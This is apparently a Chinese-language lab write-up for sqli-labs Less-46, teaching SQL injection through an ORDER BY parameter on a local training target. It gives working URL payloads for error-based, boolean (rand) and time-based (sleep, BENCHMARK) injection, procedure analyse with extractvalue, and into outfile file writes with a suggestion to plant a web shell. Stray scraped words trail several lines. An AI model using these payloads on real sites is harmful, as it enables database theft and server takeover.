Sqli-labs less 46

Less-46

從本關開始,咱們開始學習order by 相關注入的知識。mysql

本關的sql語句爲$sql = "SELECT * FROM users ORDER BY $id";sql

嘗試?sort=1 desc或者asc,顯示結果不一樣,則代表能夠注入。(升序or降序排列)函數

從上述的sql語句中咱們能夠看出,咱們的注入點在order by後面的參數中,而order by不一樣於的咱們在where後的注入點,不能使用union等進行注入。如何進行order by的注入,咱們先來了解一下mysql官方select的文檔。學習

咱們可利用order by後的一些參數進行注入。3d

首先orm

(1)、order by 後的數字能夠做爲一個注入點。也就是構造order by 後的一個語句,讓該語句執行結果爲一個數,咱們嘗試blog

http://127.0.0.1/sqli-labs/Less-46/?sort=right(version(),1)圖片

沒有報錯,可是right換成left都同樣,說明數字沒有起做用,咱們考慮布爾類型。此時咱們能夠用報錯注入和延時注入。md5

此處能夠直接構造 ?sort= 後面的一個參數。此時,咱們能夠有三種形式,ci

①直接添加註入語句,?sort=(select ******)

②利用一些函數。例如rand()函數等。?sort=rand(sql語句)

Ps:此處咱們能夠展現一下rand(ture)和rand(false)的結果是不同的。

③利用and,例如?sort=1 and (加sql語句)。

同時,sql語句能夠利用報錯注入和延時注入的方式,語句咱們能夠很靈活的構造。

報錯注入例子

http://127.0.0.1/sqli-labs/Less-46/?sort=(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))

上述例子,能夠看到root@localhost的用戶名

 

接下來咱們用rand()進行演示一下,由於上面提到rand(true)和 rand(false)結果是不同的。

http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)

 

 

http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=116)

 

從上述兩個圖的結果,對比rand(ture)和rand(false)的結果,能夠看出報錯注入是成功的。

 

延時注入例子

http://127.0.0.1/sqli-labs/Less-46/?sort=%20(SELECT%20IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5(%271%27)),null)%20FROM%20(select%20database()%20as%20current)%20as%20tb1)

 

http://127.0.0.1/sqllib/Less-46/?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5))

上述兩個延時注入的例子能夠很明顯的看出時間的不一樣,這裏就不貼圖了,圖片沒法展現延時。。。

 

同時也能夠用?sort=1 and 後添加註入語句。這裏就不一一演示了。

  1. procedure analyse參數後注入

    利用procedure analyse參數,咱們能夠執行報錯注入。同時,在procedure analyse和order by之間能夠存在limit參數,咱們在實際應用中,每每也可能會存在limit後的注入,能夠利用procedure analyse進行注入。

    如下爲示範例

    http://127.0.0.1/sqli-labs/Less-46/?sort=1%20%20procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)

  2. 導入導出文件into outfile參數

    http://127.0.0.1/sqllib/Less-46/?sort=1%20into%20outfile%20%22c:\\wamp\\www\\sqllib\\test1.txt%22

    將查詢結果導入到文件當中

    那這個時候咱們能夠考慮上傳網馬,利用lines terminated by。

    Into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x(網馬進行16進制轉換)

相關文章
相關標籤/搜索